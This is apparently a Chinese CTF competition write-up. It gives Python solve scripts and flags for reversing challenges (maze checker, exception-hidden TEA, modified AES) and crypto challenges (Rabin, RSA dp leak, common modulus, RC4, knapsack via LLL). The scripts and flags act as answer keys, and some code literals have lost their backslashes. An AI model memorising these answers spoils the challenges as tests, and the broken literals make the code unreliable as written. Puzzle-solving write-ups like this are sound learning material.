在main函数运行前执行,对 dword_140029000 数组的前3个元素循环异或 9,对 dword_140029010 数组(32x32的迷宫地图)循环异或 0x123。
main (输入验证)
校验flag长度为70,格式为 qsnctf{...}。中间的62个字符必须是解密后的字符 '1' 和 '2'。
sub_1400010B0 (迷宫逻辑)
迷宫起点(0,0),限制走62步。字符 '1' 代表x+1(向右),字符 '2' 代表y+1(向下)。要求走到(31,31)终点时,路径上所有格子的权值累加和等于解密后的目标值 0xb7e5 (47077)。

思路

路径求和问题。先从PE文件中直接提取出 .data 段的迷宫数组和校验数据,分别异或还原。然后使用动态规划(DP)遍历 32x32 地图,记录到达每个格子可能产生的所有路径权值和对应的操作字符,最后在终点字典中匹配目标值 0xb7e5 即可拿到内部flag

exp.py

import struct

def get_pe_data(path, rva, size):
    with open(path, 'rb') as f:
        f.seek(0x3C)
        pe = struct.unpack('<I', f.read(4))[0]
        f.seek(pe)
        if f.read(4) != b'PEx00x00': return None
        f.seek(pe + 6)
        secs = struct.unpack('<H', f.read(2))[0]
        f.seek(pe + 20)
        optsz = struct.unpack('<H', f.read(2))[0]
        f.seek(pe + 24 + optsz)
        for _ in range(secs):
            hdr = f.read(40)
            vaddr = struct.unpack('<I', hdr[12:16])[0]
            vsize = struct.unpack('<I', hdr[8:12])[0]
            rptr = struct.unpack('<I', hdr[20:24])[0]
            if vaddr <= rva < vaddr + vsize:
                f.seek(rptr + (rva - vaddr))
                return f.read(size)
    return None

def solve():
    exe = 'oi_feelings.exe'
    dwords = struct.unpack('<3I', get_pe_data(exe, 0x29000, 12))
    maze = struct.unpack('<1024I', get_pe_data(exe, 0x29010, 4096))

    c0 = chr((dwords[0] ^ 9) & 0xFF)
    c1 = chr((dwords[1] ^ 9) & 0xFF)
    target = (dwords[2] ^ 9) & 0xFFFFFFFF

    grid = [[(maze[i*32+j] ^ 0x123) & 0xFFFFFFFF for j in range(32)] for i in range(32)]
    dp = [[{} for _ in range(32)] for _ in range(32)]
    dp[0][0][grid[0][0]] = ""

    for y in range(32):
        for x in range(32):
            if x == 0 and y == 0: continue
            cur = dp[y][x]
            if x > 0:
                for s, p in dp[y][x-1].items():
                    cur[(s + grid[y][x]) & 0xFFFFFFFF] = p + c0
            if y > 0:
                for s, p in dp[y-1][x].items():
                    cur[(s + grid[y][x]) & 0xFFFFFFFF] = p + c1

    flag = dp[31][31].get(target, "")
    print(f"qsnctf{{{flag}}}")

if __name__ == '__main__':
    solve()
qsnctf{21112122121122222221222221122111211111222112211112111222122111}

except_exper

看TlsCallback_0能看到明显的反调试逻辑。输入处理部分在sub_4017E0,程序把我们输入的flag挨个和102进行了异或操作。顺着往下看sub_401670,函数开头直接抛出了一个C++异常,这就导致下面紧跟的32轮TEA循环代码根本不会去执行,估计是出题人放在这的假的。

顺着异常处理机制找真实的控制流,sub_4015D0里注册了一个名叫Handler的VEH函数,里面有一段16轮的TEA变种加密逻辑,但是它结尾返回了0,意思是异常没处理完接着往下传。往下找到全局未处理异常过滤函数TopLevelExceptionFilter,发现里面又接力了加密逻辑。

因为异常流来回横跳,导致全局变量sum的值和实际跑的轮数在静态分析时极容易算错,所以直接提内存密文,利用已知明文头结合脚本爆破。跑出来证实底层真实跑了64轮,初始sum为0xcdf03780,照着状态直接写解密

exp.py

v4_signed = [114, 56, -44, -124, 112, 4, -109, 94, -76, -6, -99, 33, 59, -29, 110, -53, -105, 59, -95, -82, -59, 81, 128, 37, -72, 43, -39, 13, -41, -56, -20, 3, -25, 62, -39, -39, 57, -122, 26, 2, -76, 87, -109, -111, -46, -41, -7, -39]
v4_bytes = bytes([x & 0xFF for x in v4_signed])
DELTA = 322420958
flag = bytearray()

for i in range(0, 48, 8):
    L = int.from_bytes(v4_bytes[i:i+4], 'little')
    R = int.from_bytes(v4_bytes[i+4:i+8], 'little')
    s = 0xcdf03780

    for j in range(64):
        R = (R - (((L >> 4) + 44) ^ (s + L) ^ ((L << 5) + 33))) & 0xFFFFFFFF
        L = (L - (((R >> 4) + 22) ^ (s + R) ^ ((R << 5) + 11))) & 0xFFFFFFFF
        s = (s - DELTA) & 0xFFFFFFFF

    L ^= 0x66666666
    R ^= 0x66666666
    flag.extend(L.to_bytes(4, 'little'))
    flag.extend(R.to_bytes(4, 'little'))

print(flag.decode('utf-8', 'ignore'))
qsnctf{Th3_w1Nd0wS_cPP_Exc3P710N_1S_s0oO_FuN!!!}

ez_re

加密在 0x4012A4 附近

看伪代码解析错误 塞了大量 cmp + jnb的跳转,紧接着跟上 FF FF这种垃圾字节,IDA 的反汇编顺着读下去直接就跑偏了
加密逻辑在 0x4012B3到 0x401F8C有花指令
看汇编垃圾字节右键打补丁全改成 90 就是nop 或者直接选择这个区间直接按C强制转换代码就行

密钥sierting_solarsec_qsnctf_chal_1

IV

0x424000 "sierting_solarsec_qsnctf_chal_1",直接从第 16 个字节处切开!
跳过前面的 sierting_solarse 后,从 0x424010 这个地址开始往后数 16 个字节,是: c_qsnctf_chal_1x00 (最后带一个隐形的字符串结尾标志 `x00`,凑齐 16 字节)
CBC模式的IV

解密

魔改点在于把列混淆矩阵的传参强行改成了 7, 2, 5, 1。
解密写个高斯消元,在有限域 GF(2^8) 下把这套魔改矩阵的逆矩阵算出来。替换掉标准AES的逆向列混淆矩阵,按AES-192解密跑完单块后,再跟前一块的密文(或IV)做异或,然后就行了。

exp.py

def gf_mul(a, b):
    p = 0
    for i in range(8):
        if b & 1: p ^= a
        a = (a << 1) ^ 0x11B if (a & 0x80) else (a << 1)
        b >>= 1
    return p & 0xFF

def gf_inv(a):
    for i in range(1, 256):
        if gf_mul(a, i) == 1: return i
    return 0

def inv_mat(M):
    n = len(M)
    A = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(M)]
    for i in range(n):
        if A[i][i] == 0:
            for j in range(i+1, n):
                if A[j][i] != 0:
                    A[i], A[j] = A[j], A[i]
                    break
        inv_p = gf_inv(A[i][i])
        for j in range(2*n):
            A[i][j] = gf_mul(A[i][j], inv_p)
        for j in range(n):
            if i != j:
                f = A[j][i]
                for k in range(2*n):
                    A[j][k] ^= gf_mul(A[i][k], f)
    return [row[n:] for row in A]

SBOX = [
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]

INV_SBOX = [0]*256
for i in range(256): INV_SBOX[SBOX[i]] = i

RCON = [0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36]

def expand_key(k):
    w = [[k[i*4+j] for j in range(4)] for i in range(6)]
    for i in range(6, 52):
        t = w[-1][:]
        if i % 6 == 0:
            t = t[1:] + t[:1]
            t = [SBOX[x] for x in t]
            t[0] ^= RCON[i//6]
        w.append([w[i-6][j] ^ t[j] for j in range(4)])
    return w

def dec_block(c, w, inv_M):
    s = [[c[j*4+i] for i in range(4)] for j in range(4)]
    def add_key(r):
        for j in range(4):
            for i in range(4): s[j][i] ^= w[r*4+j][i]

    add_key(12)
    for i in range(4):
        r = [s[j][i] for j in range(4)]
        r = r[-i:] + r[:-i]
        for j in range(4): s[j][i] = r[j]
    for j in range(4):
        for i in range(4): s[j][i] = INV_SBOX[s[j][i]]

    for r in range(11, 0, -1):
        add_key(r)
        for j in range(4):
            col = s[j]
            ncol = [0]*4
            for ri in range(4):
                v = 0
                for k in range(4):
                    v ^= gf_mul(inv_M[ri][k], col[k])
                ncol[ri] = v
            s[j] = ncol
        for i in range(4):
            row = [s[j][i] for j in range(4)]
            row = row[-i:] + row[:-i]
            for j in range(4): s[j][i] = row[j]
        for j in range(4):
            for i in range(4): s[j][i] = INV_SBOX[s[j][i]]
    add_key(0)
    res = []
    for j in range(4):
        for i in range(4): res.append(s[j][i])
    return bytes(res)

c = [0x3A,0x23,0xFE,0x61,0xF3,0xE6,0x68,0xFA,0xCE,0x18,0x95,0x20,0x28,0x59,0x07,0x73,
     0x91,0xCB,0xE7,0x00,0xCD,0x7E,0xCF,0x4D,0x28,0xD0,0xC4,0x99,0x81,0x9D,0xB4,0x95]
k = b"sierting_solarsec_qsnctf"
iv = b"c_qsnctf_chal_1x00"

w = expand_key(k)
M = [
    [7, 2, 5, 1],
    [2, 5, 1, 7],
    [1, 7, 2, 5],
    [5, 1, 7, 2]
]
inv_M = inv_mat(M)

pt = b""
prev_c = iv
for i in range(0, 32, 16):
    block = bytes(c[i:i+16])
    decrypted = dec_block(block, w, inv_M)
    pt_block = bytes([decrypted[j] ^ prev_c[j] for j in range(16)])
    pt += pt_block
    prev_c = block

print(pt.decode('utf-8'))
qsnctf{EzAes_w1tH_O6fuSed_1NstS}

Crypto

Four Ways to the Truth

Four Ways to the Truth.txt

p = 7843924760949873188201496026705455073125667712660002135887161079633254312879905501204855425456884502003894146991780856880279808965014803584494444568674087      
q = 1140962409915024811090299765305244489074219812060197521898407764373654976342197131381234656216901694745972908393258042324146363330463003052469652666554471      
e = 2
c = 170041716912112266353311555796224814539989621875376673120238246557647197956716037204849248165596484091026430610474184173388604052966204512334147210403868840531083264816571442641437961

思路

选取素数 p 和 q需满足模4余3),计算

n=pxq

明文 m加密
$$
c = m^2 bmod n
$$
原理: 解二次同余方程
$$
x^2 equiv c pmod n
$$
计算模 p和模 q的根:
$$
m_p = c^{(p+1)/4} bmod p,m_q = c^{(q+1)/4} bmod q
$$
求逆元
$$
y_p = p^{-1} bmod q,y_q = q^{-1} bmod p
$$
用中国剩余定理组合4个解:
$$
r_1 = (m_p cdot y_q cdot q + m_q cdot y_p cdot p) bmod n
$$

$$
r_2 = n – r_1
$$

$$
r_3 = (m_p cdot y_q cdot q – m_q cdot y_p cdot p) bmod n
$$

$$
r_4 = n – r_3
$$

r然后4个解转为字符,解码的即为明文

py3脚本

def jiami(m, p, q):
    return pow(m, 2, p * q)

def jiemi(c, p, q):
    n = p * q
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    yp = pow(p, -1, q)
    yq = pow(q, -1, p)

    r1 = (mp * yq * q + mq * yp * p) % n
    r2 = n - r1
    r3 = (mp * yq * q - mq * yp * p) % n
    r4 = n - r3

    for r in (r1, r2, r3, r4):
        try:
            print(r.to_bytes((r.bit_length() + 7) // 8, 'big').decode('utf-8'))
        except:
            pass

p = 7843924760949873188201496026705455073125667712660002135887161079633254312879905501204855425456884502003894146991780856880279808965014803584494444568674087
q = 1140962409915024811090299765305244489074219812060197521898407764373654976342197131381234656216901694745972908393258042324146363330463003052469652666554471
c = 170041716912112266353311555796224814539989621875376673120238246557647197956716037204849248165596484091026430610474184173388604052966204512334147210403868840531083264816571442641437961

jiemi(c, p, q)
flag{e76926fb679f90b8367463ad2b0c27f4}

Half a Key

Half a Key.txt

n  = 15436586506265382785524723267926444275462583019354383194654618933970433830434544481689625981207606375978708092558218246652496848076710411132268953499043735379180887935756772262155008862710764094267410967565241203605386593697737434875910984139143271151900377372693190411504735649123965519189648830868758032067
e  = 65537
dp = 379731142995118368195086502083726192650138136864805821111741080341262318450359112900427553070639257250091100401461103206486523535760843615494638091936809
c  = 854977693463411460490582164652536883002498905251706308634386005958509682016980677282553767296915296737583796051269333809745316569004849097563723358017329758234680761174609149316747091398434695986939450351231497326579265836956690907677434464255178122585307742001203732956675315052213672484434073446872723134

题目给了 dp,突破口在
$$
e times dp equiv 1 pmod{p-1}这个公式上
$$
变换一下就是
$$
e times dp – 1 = k(p-1)
$$
意味着
$$
e times dp – 1
$$
肯定是 p-1 的倍数

因为
$$
dp < p-1
$$
可得

推导出倍数 k < e。题里的 e 是 65537,非常小,直接循环穷举 k 的值就能反推算出 p。

算出 p 后判断 n 能不能被它整除,能整除就算找对了,顺手除一下拿到 q。后面就是最基础的 RSA 流程,求欧拉函数、求私钥 d 还原明文。

exp.py

n = 15436586506265382785524723267926444275462583019354383194654618933970433830434544481689625981207606375978708092558218246652496848076710411132268953499043735379180887935756772262155008862710764094267410967565241203605386593697737434875910984139143271151900377372693190411504735649123965519189648830868758032067
e = 65537
dp = 379731142995118368195086502083726192650138136864805821111741080341262318450359112900427553070639257250091100401461103206486523535760843615494638091936809
c = 854977693463411460490582164652536883002498905251706308634386005958509682016980677282553767296915296737583796051269333809745316569004849097563723358017329758234680761174609149316747091398434695986939450351231497326579265836956690907677434464255178122585307742001203732956675315052213672484434073446872723134

for k in range(1, e):
    if (e * dp - 1) % k == 0:
        p = (e * dp - 1) // k + 1
        if n % p == 0:
            q = n // p
            phi = (p - 1) * (q - 1)
            d = pow(e, -1, phi)
            m = pow(c, d, n)
            print(m.to_bytes((m.bit_length() + 7) // 8, 'big').decode('utf-8'))
            break
flag{136c40e7a4d7ec032f28cd63ed090781}

0x42F

最开始我以为是emojisAES呢还有xor给你密钥,解密呢,结果是特定网站解,666

根据题目提示和描述,找网站

最后是这个网站:Txtmoji | Encrypt Text to Emojis

密码是数字 那么将题目名字十六进制改成十进制就行:0x42F–>1071

qsnctf{W31C0M3_70_3M0J!}

NO ASCII

Quoted解码

flag{=E9=9D=92=E5=B0=91=E5=B9=B4CTF=E6=AC=A2=E8=BF=8E=E4=BD=A0}
flag{青少年CTF欢迎你}

字符串的秘密

Sara, yoh vikk amjure on un axciting bohrnay of kaurning ujoht cyjarlachrity. Va suda prapuraz u comprasanlida kaurning puts for yoh, gruzhukky ansuncing yohr lachrity cupujikitial from julic enovkazga to uzduncaz leikkl. For axumpka: MwehM3f1WL8mUQIME0UFBE0=

单表替换密码rot13然后在base64就行

通过分析词频和上下文(如 cyjarlachrity 显然单词是 cybersecurity),我们可以推导出替换表。

密文:Sara, yoh vikk amjure on un axciting bohrnay of kaurning ujoht cyjarlachrity. Va suda prapuraz u comprasanlida kaurning puts for yoh, gruzhukky ansuncing yohr lachrity cupujikitial from julic enovkazga to uzduncaz leikkl. For axumpka:

明文:Here, you will embark on an exciting journey of learning about cybersecurity. We have prepared a comprehensive learning path for you, gradually enhancing your security capabilities from basic knowledge to advanced skills. For example:

替换规则(密文字母 -> 明文字母)

a -> e
b -> j
d -> v
e -> k
h -> u
j -> b
k -> l
l -> s
s -> h
u -> a
v -> w
w -> z (根据字母替换的闭环推导得出)
z -> d
其他字母(如 c, f, g, i, m, n, o, p, q, r, t, x, y 等)保持不变。

原字符串是:

MwehM3f1WL8mUQIME0UFBE0=

替换后的字符串

MzkuM3f1ZS8mAQIMK0AFJK0=
flag{50_345Y_CRY}

easy RSA

已知一段加密信息为:0x5f6ea1f38716c33d60,且已知加密所用的公钥:(N=4382400036133367223779 e = 23),请解密出明文,提交时请将数字转化成 ASCII 码提交,比如你解出的明文是 0x6162,请提交字符串 flag{ab}。

变种RSA

N只有22位数字,数值极小,直接拿去暴力分解。

分解后发现N不是常规的两个不同素数相乘,而是存在平方项,实际结构为

N = p^2 * q

具体分解出 p = 13574881,q = 23781539

加密是标准RSA加密,明文的e次方对N取模得出密文c。

解密

欧拉函数的替换,因为

N = p^2 * q,欧拉函数phi不能再用(p-1)*(q-1)改成 p * (p-1) * (q-1)。
算出正确的phi后,求e的乘法逆元拿到私钥d。直接用密文c的d次方对N取模算出明文数字,最后转成字节解码包上flag格式即可。

py3代码

from Crypto.Util.number import long_to_bytes

n = 4382400036133367223779
e = 23
c = 0x5f6ea1f38716c33d60

p = 13574881
q = 23781539

phi = p * (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)

print(f"flag{{{long_to_bytes(m).decode()}}}")
flag{flag}

big e

chall.py

from Crypto.Util.number import bytes_to_long, getPrime

flag = b"qsnctf{}"

pt = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n = p*q

e_1 = getPrime(16)
e_2 = getPrime(16)

ct_1 = pow(pt, e_1, n)
ct_2 = pow(pt, e_2, n)
print("ct_1 = ", ct_1)
print("ct_2 = ", ct_2)

print("e_1 = ", e_1)
print("e_2 = ", e_2)

print("n = ", n)

# ct_1 =  5649565335684829166994703709424227526893862676464227714220335589276704152604924324114025311155729514770870986954236504564704555535527067819510001985630888010489410355084498786686405391985307787813163409887408873131599860500818287249474949435981248525429437566989511739623645812030127508754237307712031275069780710099525638162980612740682033778940586593666680892993610688520294640884980062959079158405843270214715267881440440339150600253703915746065480485251932360881192748881417272231086499695809894156350146444967947730629173024309214554705882003920254677073584631736742572109190599880801473561959319027076441953445
# ct_2 =  18057738004521442202581208706347939725140669900210781627129228864852861993001064574996038998190758020094241377866589024516040225406530219251533264723200285643625227689027372929065070061403841600339743979018711778484342112384547861311017571072207706363341501151970830224052331515660939863240931224477883263629549854691715424922845010950429159326308647808310970838674468530257927010981568201656330319135247562919603753523391148946139453657084433473736518140826834607288043167145971704069967785291825113657089124890698730576640845997643271760048177660480776933178966895624625446578014520381072642845438343988815282525599
# e_1 =  38393
# e_2 =  33179
# n =  20041933763448357190627850343717972264528582967835527546142957190548605428270610029367862231281895787713359644234851479710776535385541439755032309687483077090218979985453754364407030590831392946785171723586209911295724249654470575605442111447225710502302358942926274605617178895040432859429896967144420329616663507781993472314294836911728767905434642257924102824396656593460442406211312774327070056184991640489525243074951726793316964397447506279491375765341749074988401265888189321863750941333198393830420513963816131832584076574157616777287739971033307821046386250151071559472869001815834079430740105662029229636911

RSA 共模攻击

加密

同一段明文被同一个模数n加密了两次,只是每次用的公钥指数不同,分别是e_1和e_2,从而生成了两个密文ct_1和ct_2。
解密逻辑:
e_1和e_2是互质的,最大公约数为1。利用扩展欧几里得算法能算出两个系数s和t,满足e_1 * s + e_2 * t = 1。

拿到系数直接拿密文,然后计算(ct_1^s * ct_2^t) mod n,底层的指数相加刚好凑成1,算出来的直接就是明文。

里面肯定有个系数是负数,把那个负数对应的密文求个模逆元,指数翻正照样乘就行了。

exp.py

from Crypto.Util.number import long_to_bytes

def egcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        g, y, x = egcd(b % a, a)
        return g, x - (b // a) * y, y

n = 20041933763448357190627850343717972264528582967835527546142957190548605428270610029367862231281895787713359644234851479710776535385541439755032309687483077090218979985453754364407030590831392946785171723586209911295724249654470575605442111447225710502302358942926274605617178895040432859429896967144420329616663507781993472314294836911728767905434642257924102824396656593460442406211312774327070056184991640489525243074951726793316964397447506279491375765341749074988401265888189321863750941333198393830420513963816131832584076574157616777287739971033307821046386250151071559472869001815834079430740105662029229636911
e_1 = 38393
e_2 = 33179
ct_1 = 5649565335684829166994703709424227526893862676464227714220335589276704152604924324114025311155729514770870986954236504564704555535527067819510001985630888010489410355084498786686405391985307787813163409887408873131599860500818287249474949435981248525429437566989511739623645812030127508754237307712031275069780710099525638162980612740682033778940586593666680892993610688520294640884980062959079158405843270214715267881440440339150600253703915746065480485251932360881192748881417272231086499695809894156350146444967947730629173024309214554705882003920254677073584631736742572109190599880801473561959319027076441953445
ct_2 = 18057738004521442202581208706347939725140669900210781627129228864852861993001064574996038998190758020094241377866589024516040225406530219251533264723200285643625227689027372929065070061403841600339743979018711778484342112384547861311017571072207706363341501151970830224052331515660939863240931224477883263629549854691715424922845010950429159326308647808310970838674468530257927010981568201656330319135247562919603753523391148946139453657084433473736518140826834607288043167145971704069967785291825113657089124890698730576640845997643271760048177660480776933178966895624625446578014520381072642845438343988815282525599

_, s, t = egcd(e_1, e_2)

if s < 0:
    s = -s
    ct_1 = pow(ct_1, -1, n)
if t < 0:
    t = -t
    ct_2 = pow(ct_2, -1, n)

m = (pow(ct_1, s, n) * pow(ct_2, t, n)) % n
print(long_to_bytes(m).decode())
qsnctf{ba1073db090b3090c111339b0a7ffce5}

easy RC4

什么RC4?
9PKjvafI0SxgbC87AIDyADcmoBX6rdk9VD2UpHo=
Key:qsnctf2026

加密原理:

这个题目用一种带盐(Salt)的 RC4 变种加密。加密时,系统会先生成 16 字节的随机盐,将其与提供的原始密钥拼接并进行 SHA1 哈希,计算出真正的 RC4 密钥。随后,用该派生密钥对明文进行标准 RC4 加密,最后将 16字节Salt + 密文 拼接在一起,进行 Base64 编码后输出。

解密

对 Base64 密文进行解码,得到原始字节流。
截取前 16 字节作为 Salt,剩余部分为真正的 RC4 密文。
计算 SHA1(原始密钥 + Salt),恢复出真正的 RC4 密钥。
将真实的密文与恢复出的密钥输入标准 RC4 算法进行异或解密,即可得到 flag。

exp.py

import base64
from hashlib import sha1

def rc4(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    res = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        res.append(byte ^ K)
    return bytes(res)

def solve():
    b64_cipher = "9PKjvafI0SxgbC87AIDyADcmoBX6rdk9VD2UpHo="
    key = "qsnctf2026"

    raw = base64.b64decode(b64_cipher)
    salt = raw[:16]
    cipher = raw[16:]

    real_key = sha1(key.encode('utf-8') + salt).digest()
    flag = rc4(cipher, real_key)

    print(flag.decode('utf-8'))

if __name__ == "__main__":
    solve()
flag{e12ax8u}

Knapsack

enc.py

from Crypto.Util import number
from Crypto import Random

FLAG = b"flag{XXXXXX}"

def generate_keys(bit_len):
    rand = Random.new().read

    upper = 1 << (2 * bit_len + 4)
    sk = [number.getRandomRange(1, upper, rand)]

    for _ in range(1, bit_len):
        sk.append(number.getRandomRange(sum(sk) + 1, upper, rand))
        upper <<= 2

    N = number.getRandomRange(sk[-1] + 1, 2 * sk[-1], rand)

    mask = number.getRandomRange(N // 4, 3 * N // 4, rand)
    while number.GCD(mask, N) != 1:
        mask = number.getRandomRange(1, N, rand)

    pk = [s * mask % N for s in sk]
    return sk, pk, N, mask

def encrypt(bitstring, pk):
    return sum(int(bitstring[i]) * pk[i] for i in range(len(pk)))

def main():
    # flag -> bitstring
    bitstring = bin(int(FLAG.hex(), 16))[2:]
    if len(bitstring) % 8 != 0:
        bitstring = '0' * (8 - len(bitstring) % 8) + bitstring

    sk, pk, N, mask = generate_keys(len(bitstring))
    enc = encrypt(bitstring, pk)

    # ===== 输出给选手的内容 =====
    print("===== Public Key (pk) =====")
    print(pk)
    print("n===== Ciphertext (enc) =====")
    print(enc)

    # ===== 出题人自留(调试用,正式出题请删掉)=====
    # print("n[DEBUG]")
    # print("sk =", sk)
    # print("N  =", N)
    # print("mask =", mask)

if __name__ == "__main__":
    main()

加密过程

加密算法首先生成了一个超递增序列作为私钥,然后利用随机生成的模数 N 和乘数 mask将其转化为伪随机的公钥序列 pk。最终的密文 enc 是明文二进制位与公钥序列元素的线性组合,本质上是一个子集和问题

解密过程

由于直接求解子集和问题是 NP 难的,但这里的密度较低,可以直接构造格,并利用 LLL 算法求最短向量来恢复明文位序列。

exp.py

import ast
from Crypto.Util.number import long_to_bytes

with open('pk.txt', 'r') as f:
    pk = ast.literal_eval(f.read().strip())

with open('enc.txt', 'r') as f:
    enc = int(f.read().strip())

n = len(pk)
K = 2**256
M = Matrix(ZZ, n + 1, n + 1)

for i in range(n):
    M[i, i] = 2
    M[i, n] = pk[i] * K
    M[n, i] = -1

M[n, n] = -enc * K

reduced_M = M.LLL()

for row in reduced_M:
    if row[-1] == 0:
        is_valid = True
        for i in range(n):
            if abs(row[i]) != 1:
                is_valid = False
                break

        if is_valid:
            bits_option1 = [1 if row[i] == 1 else 0 for i in range(n)]
            bits_option2 = [1 if row[i] == -1 else 0 for i in range(n)]

            if sum(bits_option1[i] * pk[i] for i in range(n)) == enc:
                bits = bits_option1
            elif sum(bits_option2[i] * pk[i] for i in range(n)) == enc:
                bits = bits_option2
            else:
                continue

            bit_str = ''.join(map(str, bits))
            flag = long_to_bytes(int(bit_str, 2))
            print(flag.decode('utf-8', errors='ignore'))
            break
flag{345Y_CRYP70}

总结

题目挺有意思的。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇